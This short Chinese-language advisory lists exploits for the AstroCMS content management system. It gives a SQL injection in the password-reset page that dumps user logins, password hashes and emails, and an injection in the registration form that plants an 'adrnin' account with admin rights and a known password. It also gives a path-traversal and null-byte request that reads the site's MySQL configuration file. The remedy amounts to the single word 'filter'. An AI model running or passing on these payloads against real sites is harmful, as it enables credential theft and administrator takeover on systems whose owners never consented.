标题: AstroCMS Multiple Remote Vulnerabilities 

作者: brain[pillow] 
下载地址: http://www.astrocms.com/ 
忘记密码处注射：
  

 /registration/forgot/ 

  

 a' union select 0,0,0,0,concat_ws(0x3a,login,password,email,status ,level),0,0,0,0,0,0,0 from auth_users where id=5# 

  

id=6 - usually admin 

  

============================================================ 

用户注册处：

============================================================ 

 /registration/ 

  

adrnin','4297f44b13955235245b2497399d7a93','adrnin ','okk@mail.com',1,5,'','','')# 

  

www.2cto.com Submitting this to "login field" will add "adrnin" user with admin rights and password "123123". 

Usually 5 - is admin group. 

  

============================================================ 

内容页：

============================================================ 

  

 /include/get_js.php4?fname=../htdocs/include/config_mysql.inc%00.js 

  

或者: 

  

 /include/get_js.php?fname=../htdocs/include/config_mysql.inc%00.js

修复：过滤